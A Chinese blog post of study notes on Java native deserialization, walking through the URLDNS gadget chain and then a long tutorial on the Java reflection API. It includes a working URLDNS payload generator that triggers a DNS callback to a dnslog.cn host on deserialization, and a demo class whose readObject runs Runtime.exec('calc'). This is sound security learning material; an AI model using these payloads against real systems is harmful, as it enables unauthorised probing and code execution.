java原生反序列化(URLDNS链 反射)

1.java原生反序列化(URLDNS链 反射)

demo

person类 需要继承Serializable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.Serializable;

public class Person implements Serializable {
private String name;
private int age;

public Person(){

}
public Person(String name,int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
// private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
// ois.defaultReadObject();
// Runtime.getRuntime().exec("calc");
// }
}

序列化 - writeObject

对象–》二进制流 存在于磁盘 网络

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}

反序列化 -readObject

二进制流–》对象 存在于内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}

  • transient关键字修饰的变量不会被序列化

反序列化出现问题的原因

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式: 1.入口类的readObject方法被重写,直接调用危险方法(理想情况)

image-20241217105325350

2.入口类参数中包含可控类,该类有危险方法,readObject时调用。

3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。

反序列化条件

共同的条件 需要继承Serializable

1
2
3
4
入口类:source(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带)
例如:Map HashMap 等
调用链:gadget chain 相同名称 相同类型
执行类:sink (rce ssrf 文件操作等)

URLDNS链分析

分析过程

Hashmap为例 继承了serializable 参数类型宽泛 jdk自带

重写了readobject方法 适合作为入口点source

image-20241217110422071

hashmap重写了readobject方法,最后调用了hash(),hash()中调用了object类的hashcode()方法

image-20241217111851573

URL类

存在hashcode方法,调用了handler的hashcode()方法

image-20241217113422139

跟进,发现调用了getHostAddress方法,可以发起网络请求

image-20241217113456299

思路:以Hashmap为入口点,参数设置为URL类型,最终会调用URL中的hashcode方法,实现域名解析发起网络请求

image-20241217114407485

理想情况下反序列化时会调用URL中的hashcode方法,实现域名解析发起网络请求

但序列化后就发起了请求

image-20241217114508094

原因:

HashMap对象在put时会调用hash函数然后调用hashcode方法,所以序列化时会发起请求

put函数调用过程:

image-20241217114633099

最终调用了URL中的hashcode()方法:

image-20241217154122997

URL类hashcode值初始化为-1,-1时会发起网络请求

image-20241217115447870

实现目标需要做的调整:

1.put时不要发起请求 修改hashCode变量的值不为-1,进入第一个if判断 不发起网络请求

2.put之后把hashCode变量的值变为-1,反序列化后才能调用hashcode()方法(通过反射)

实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
//Person person = new Person("aa",22);
//System.out.println(person);
// 目标:反序列化时调用URL类中的hashcode()方法
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();

//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://pm7emg.dnslog.cn");
//获取Class
Class c = url.getClass();
//获取变量hashCode
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url,1234); //修改hashCode值,使得put时不调用hashCode()方法
hashmap.put(url,111);
//这里把hashcode改回-1
//通过反射 改变已有对象的属性
hashcodeField.set(url,-1);

serialize(hashmap);
}
}

调试反序列化代码,观察hashCode值,为-1,说明通过反射修改成功

image-20241217163227953

总结

入口A :HashMap,readObject重写了,调用hash()–>hashCode() 接受参数O,有hashCode方法

目标B :URL 调用B.hashCode()

操作:A.readObject -> O.f (O=B) ,通过反射满足执行网络请求的条件

image-20241217164217758

反射在反序列化中的应用:

1.定制需要的对象

2.通过invoke调用除了同名函数以外的函数

3.通过类(Class 可以反序列化)类创建对象,引入不能序列化的类

反射基础操作

demo

person类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
public String name;
private int age;

public Person(){

}
public Person(String name,int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

private void action(String act){
System.out.println(act);
}

private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

反射操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
// 反射就是操作Class
//Class 是class的抽象 class是Class的实例

//1.从原型Class里实例化对象
//c.newInstance(); //无参数,调用无参构造方法
Constructor personconstructor = c.getConstructor(String.class,int.class); //参数是类泛型
Person p = (Person) personconstructor.newInstance("abc",22);
System.out.println(p);

//2.获取类的属性
// Field[] personfields = c.getFields(); //无法打印私有变量属性
Field[] personfields = c.getDeclaredFields();
for(Field f : personfields){
System.out.println(f);
}
Field namefield = c.getField("name");
namefield.set(p,"sss");
System.out.println(p);
Field agefield = c.getDeclaredField("age");
agefield.setAccessible(true); //允许访问并修改私有变量
agefield.set(p,99);
System.out.println(p);

//3.调用类的方法
Method[] personMethods = c.getMethods();
for(Method m:personMethods){
System.out.println(m);
}

Method actionMethod = c.getDeclaredMethod("action",String.class);
actionMethod.setAccessible(true);
actionMethod.invoke(p,"tql");
}
}

1.从原型Class里实例化对象

image-20241217144854215

2.获取类的属性

image-20241217145044579

3.修改反射创建出的实例的变量值

使用getDeclaredField 和 setAccessible就可以实现对任何变量的修改

image-20241217145416348

4.读取和修改方法

image-20241217152151193

java反射

1、什么是反射?

Java 的反射(reflection)机制是指在程序运行中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法

这种动态获取程序信息以及动态调用对象的功能称为 Java语言的反射机制 。

反射机制允许我们在 Java程序运行时检查,操作或者说获取任何类、接口、构造函数、方法和字段。还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等操作。

在 Java代码审计中学习反射机制,我们目的是可以利用反射机制操作目标方法执行系统命令。比如我们想要反射调用java.lang.runtime去执行系统命令。

下面,通过代码案例来学习反射API,进一步理解反射机制。

2、创建练习项目工程

老规矩,先创建一个名为reflectdemo的项目工程,用于下面示例代码的练习。

①、打开IDEA,点击Create New Project,创建新的工程。

②、左侧选择Maven,配置默认即可,不选择任何模板,点击Next。

③、起个项目名称为reflectdemo,其他默认即可,点击Finish。

④、在Java目录下创建名为com.exampl.demo的包,并在demo包下再创建一个名为entity的包,最终目录结构如下图所示:

目录结构

3、获取 Class 对象

获取Class对象的方式有下面几种,:

  • 根据类名:类名.class
  • 根据对象:对象.getClass()
  • 根据全限定类名:Class.forName(全路径类名)
  • 通过类加载器获得class对象:ClassLoader.getSystemClassLoader().loadClass(“com.example.xxx”);

举个简单的例子。

①、我们在com.example.demo.entity下创建个User类,代码如下:

1
2
3
4
5
6
7
8
9
public class User {
public String name = "power7089";
public String getName() {
return name;
}
public void setName(String testStr) {
this.name = name;
}
}

User实体类

②、我们再com.example.demo先创建一个名为GetClass的类,用于演示获取User Class对象几种方式,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.demo;
import com.example.demo.entity.User;

public class GetClass {
public static void main(String[] args) throws ClassNotFoundException {
//1.通过类名.class
Class c1 = User.class;

//2.通过对象的getClass()方法
User user = new User();
Class c2 = user.getClass();

//3.通过 Class.forName()获得Class对象;
Class c3 = Class.forName("com.example.demo.entity.User");

//4.通过类加载器获得class对象
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class c4 = classLoader.loadClass("com.example.demo.entity.User");

System.out.println(c1);
System.out.println(c2);
System.out.println(c3);
System.out.println(c4);
}
}

getclass类代码

动手操作调试,观察运行结果,并加以思考。

那他们几个有什么需要注意的呢?

  • 类名.class:需要导入类的包。
  • 对象.getClass():初始化对象后,其实不需要再使用反射了。
  • Class.forName(全路径类名):需要知道类的完整全路径,这是我们常使用的方法。
  • 通过类加载器获得class对象:ClassLoader.getSystemClassLoader().loadClass(“com.example.xxx”);

Class.forName() 获取 class 对象方法是常用的一种方式,下面所有示例代码我们都使用Class.forName()这个方法来获取Class对象。

在获取到目标Class对象后,我们可以做的事就多了,下面我们通过示例代码进一步演示。

4、Java 反射 API

Java 提供了一套反射 API,该API由Class类与java.lang.reflect类库组成。

该类库包含了FieldMethodConstructor等类。

java.lang.reflect官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/package-summary.html

(这部分的官方文档我都是给的 java8 的,大家可以将路径中的数字 8 改为7,9,10等,这几个版本会有不同的地方大家可自行比对学习)

在进行下面练习前,首先我们需要在com.example.demo下新建一个名为reflectdemo的包,并新建一个名为UserInfo的Java Class,并键入一下代码,最终如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.example.demo.reflectdemo;

public class UserInfo {
private String name;
public int age;

public UserInfo() { }

private UserInfo(String name) {
this.name = name;
}

public UserInfo(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

private String introduce() {
return "我叫" + name + ",今年" + age + "岁了!";
}

public String sayHello() {
return "Hello!我叫[" + name + "]";
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

userinfo类代码

4.1、java.lang.Class

用来描述类的内部信息,Class的实例可以获取类的包、注解、修饰符、名称、超类、接口等。

官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html

方法名 释义
getPackage() 获取该类的包
getDeclaredAnnotations() 获取该类上所有注解
getModifiers() 获取该类上的修饰符
getName() 获取类名称
getSimpleName() 获取简单类名称
getGenericSuperclass() 获取直属超类
getGenericInterfaces() 获取直属实现的接口
newInstance() 根据构造函数创建一个实例
更多方法可查看官方文档……

4.1.1、示例代码

①、在创建com.example.demo.reflectdemo下创建一个名为ClassDemo的Java Class,并键入以下代码,最终如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.demo.reflectdemo;
import java.lang.reflect.Modifier;

/**
* 编号7089
*/
public class ClassDemo {

public static void main(String[] args) throws ClassNotFoundException {
Class clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");
// 获取该类所在包路径
Package aPackage = clazz.getPackage();
System.out.println("getPackage运行结果:" + aPackage);

// 获取类上的修饰符
int modifiers = clazz.getModifiers();
String modifier = Modifier.toString(modifiers);
System.out.println("getModifiers运行结果:" + modifier);

// 获取类名称
String name = clazz.getName();
System.out.println("getName运行结果:" + name);
// 获取简单类名
String simpleName = clazz.getSimpleName();
System.out.println("getSimpleName运行结果:" + simpleName);
}
}

classdemo代码

运行结果如下图所示:

classdemo运行结果

4.2、java.lang.reflect.Field

提供了类的属性信息。可以获取属性上的注解、修饰符、属性类型、属性名等

官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Field.html

方法名 释义
getField(“xxx”) 获取目标类中声明为 public 的属性
getFields() 获取目标类中所有声明为 public 的属性
getDeclaredField(“xxx”) 获取目标类中声明的属性
getDeclaredFields() 获取目标类中所有声明的属性
更多方法可查看官方文档……

4.2.1、示例代码

①、在创建com.example.demo.reflectdemo下创建一个名为FieldDemo的Java Class,并键入以下代码,最终如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.demo.reflectdemo;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class FieldDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");

// 获取一个该类或父类中声明为 public 的属性
Field field1 = clazz.getField("age");
System.out.println("getField运行结果:" + field1);

// 获取该类及父类中所有声明为 public 的属性
Field[] fieldArray1 = clazz.getFields();
for (Field field : fieldArray1) {
System.out.println("getFields运行结果:" + field);
}

// 获取一个该类中声明的属性
Field field2 = clazz.getDeclaredField("name");
System.out.println("getDeclaredField运行结果:" + field2);

// 获取某个属性的修饰符(该示例为获取上面name属性的修饰符)
String modifier = Modifier.toString(field2.getModifiers());
System.out.println("getModifiers运行结果: " + modifier);

// 获取该类中所有声明的属性
Field[] fieldArray2 = clazz.getDeclaredFields();
for (Field field : fieldArray2) {
System.out.println("getDeclaredFields运行结果:" + field);
}
}
}

fielddemo代码

运行结果如下图所示:

fielddemo运行结果

4.3、java.lang.reflect.Method

提供了类的方法信息。可以获取方法上的注解、修饰符、返回值类型、方法名称、所有参数

官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html

方法名 释义
getMethod(“setAge”, String.class) 获取目标类及父类中声明为 public 的方法,需要指定方法的入参类型
getMethods() 获取该类及父类中所有声明为 public 的方法
getDeclaredMethod() 获取一个在该类中声明的方法
getDeclaredMethods() 获取所有在该类中声明的方法
getParameters() 获取所有传参
更多方法可查看官方文档……

4.3.1、示例代码

①、在创建com.example.demo.reflectdemo下创建一个名为MethodDemo的Java Class,并键入以下代码,最终如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example.demo.reflectdemo;
import java.lang.reflect.Method;
import java.lang.reflect.Parameter;

public class MethodDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");

// 获取一个该类及父类中声明为 public 的方法,需要指定方法的入参类型
Method method = clazz.getMethod("setName", String.class);
System.out.println("01-getMethod运行结果:" + method);

// 获取所有入参
Parameter[] parameters = method.getParameters();
for (Parameter temp : parameters) {
System.out.println("getParameters运行结果 " + temp);
}

// 获取该类及父类中所有声明为 public 的方法
Method[] methods = clazz.getMethods();
for (Method temp : methods) {
System.out.println("02-getMethods运行结果:" + temp);
}

// 获取一个在该类中声明的方法
Method declaredMethod = clazz.getDeclaredMethod("getName");
System.out.println("03-getDeclaredMethod运行结果:" + declaredMethod);

// 获取所有在该类中声明的方法
Method[] declaredMethods = clazz.getDeclaredMethods();
for (Method temp : declaredMethods) {
System.out.println("04-getDeclaredMethods运行结果:" + temp);
}
}
}

methoddemo代码

运行结果如下图所示:

methoddemo运行结果

4.4、java.lang.reflect.Modifier

提供了访问修饰符信息。通过ClassFieldMethodConstructor等对象都可以获取修饰符,这个访问修饰符是一个整数,可以通过Modifier.toString方法来查看修饰符描述。并且该类提供了一些静态方法和常量来解码访问修饰符。

官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Modifier.html

方法名 释义
getModifiers() 获取类的修饰符值
getDeclaredField(“username”).getModifiers() 获取属性的修饰符值
更多方法可查看官方文档……

4.4.1、示例代码

①、在创建com.example.demo.reflectdemo下创建一个名为ModifierDemo的Java Class,并键入以下代码,最终如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.example.demo.reflectdemo;
import java.lang.reflect.Modifier;

/**
* 编号7089
*/
public class ModifierDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");

// 获取类的修饰符值
int modifiers1 = clazz.getModifiers();
System.out.println("获取类的修饰符值getModifiers运行结果:" + modifiers1);

// 获取属性的修饰符值
int modifiers2 = clazz.getDeclaredField("name").getModifiers();
System.out.println("获取属性的修饰符值getModifiers运行结果:" + modifiers2);

// 获取方法的修饰符值
int modifiers4 = clazz.getDeclaredMethod("setName", String.class).getModifiers();
System.out.println("获取方法的修饰符值getModifiers运行结果:" + modifiers4);

// 根据修饰符值,获取修饰符标志的字符串
String modifier = Modifier.toString(modifiers1);
System.out.println("获取类的修饰符值的字符串结果:" + modifier);
System.out.println("获取属性的修饰符值字符串结果:" + Modifier.toString(modifiers2));
}
}

Modifierdemo代码

运行结果如下图所示:

Modifierdemo运行结果

4.5、java.lang.reflect.Constructor

提供了类的构造函数信息。可以获取构造函数上的注解信息、参数类型等。

官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Constructor.html

方法名 释义
getConstructor() 获取一个声明为 public 构造函数实例
getConstructors() 获取所有声明为 public 构造函数实例
getDeclaredConstructor() 获取一个声明的构造函数实例
getDeclaredConstructors() 获取所有声明的构造函数实例
更多方法可查看官方文档……

4.5.1、示例代码

①、在创建com.example.demo.reflectdemo下创建一个名为ConstructorDemo的Java Class,并键入以下代码,最终如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.demo.reflectdemo;
import java.lang.reflect.Constructor;
public class ConstructorDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");

// 获取一个声明为 public 构造函数实例
Constructor<?> constructor1 = clazz.getConstructor(String.class,int.class);
System.out.println("1-getConstructor运行结果:" + constructor1);
// 根据构造函数创建一个实例
Object c1 = constructor1.newInstance("power7089",18);
System.out.println("2-newInstance运行结果: " + c1);

// 获取所有声明为 public 构造函数实例
Constructor<?>[] constructorArray1 = clazz.getConstructors();
for (Constructor<?> constructor : constructorArray1) {
System.out.println("3-getConstructors运行结果:" + constructor);
}
// 获取一个声明的构造函数实例
Constructor<?> constructor2 = clazz.getDeclaredConstructor(String.class);
System.out.println("4-getDeclaredConstructor运行结果:" + constructor2);
// 将构造函数的可访问标志设为 true 后,可以通过私有构造函数创建实例
constructor2.setAccessible(true);
Object o2 = constructor2.newInstance("Power7089666");
System.out.println("5-newInstance运行结果:" + o2);

// 获取所有声明的构造函数实例
Constructor<?>[] constructorArray2 = clazz.getDeclaredConstructors();
for (Constructor<?> constructor : constructorArray2) {
System.out.println("6-getDeclaredConstructors运行结果:" + constructor);
}
}
}

ConstructorDemo代码

运行结果如下图所示:

ConstructorDemo代码运行结果

4.6、java.lang.reflect.Parameter

提供了方法的参数信息。可以获取方法上的注解、参数名称、参数类型等。

官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Parameter.html

方法名 释义
getParameters() 获取构造函数/方法的参数
更多方法可查看官方文档……

4.7、java.lang.reflect.AccessibleObject(绕过私有限制)

FieldMethodConstructor类的超类。该类提供了对类、方法、构造函数的访问控制检查的能力(如:私有方法只允许当前类访问)。

访问检查在设置/获取属性、调用方法、创建/初始化类的实例时执行。

方法名 释义
setAccessible() 将可访问标志设为true(默认为false),会关闭访问检查。这样即使是私有的属性、方法或构造函数,也可以访问。

4.7.1、示例代码

可以看ConstructorDemo类代码,涉及到了setAccessible(),如下:

1
2
3
4
5
6
7
// 获取一个声明的构造函数实例
Constructor<?> constructor2 = clazz.getDeclaredConstructor(String.class);
System.out.println("4-getDeclaredConstructor运行结果:" + constructor2);
// 将构造函数的可访问标志设为 true 后,可以通过私有构造函数创建实例
constructor2.setAccessible(true);
Object o2 = constructor2.newInstance("Power7089666");
System.out.println("5-newInstance运行结果:" + o2);

5、常用方法整理

1、getMethod()

getMethod()方法获取的是当前类中所有公共(public)方法。包括从父类里继承来的方法。

2、getDeclaredMethod()

getDeclaredMethod()系列方法获取的是当前类中“声明”的方法,包括private,protected和public,不包含从父类继承来的方法。

3、getConstructor()

getConstructor()方法获取的是当前类声明为公共(public)构造函数实例。

4、getDeclaredConstructor()

getDeclaredConstructor() 方法获取的是当前类声明的构造函数实例,包括private,protected和public。

5、setAccessible()

在获取到私有方法或构造方法后,使用setAccessible(true);,改变其作用域,这样即使是私有的属性,方法,构造函数也都可以访问调用了。

6、newInstance()

将获取到的对象实例化。调用的是这个类的无参构造函数。

使用 newInstance 不成功的话可能是因为:①、你使用的类没有无参构造函数,②、你使用的类构造函数是私有的。

7、invoke()

https://zhuanlan.zhihu.com/p/350058223

调用包装在当前Method对象所属的类中的方法。

invoke传参如下图所示:

image-20241217170857888


java原生反序列化(URLDNS链 反射)
http://example.com/2024/12/17/java原生反序列化(URLDNS链-反射)/
作者
r1
发布于
2024年12月17日
许可协议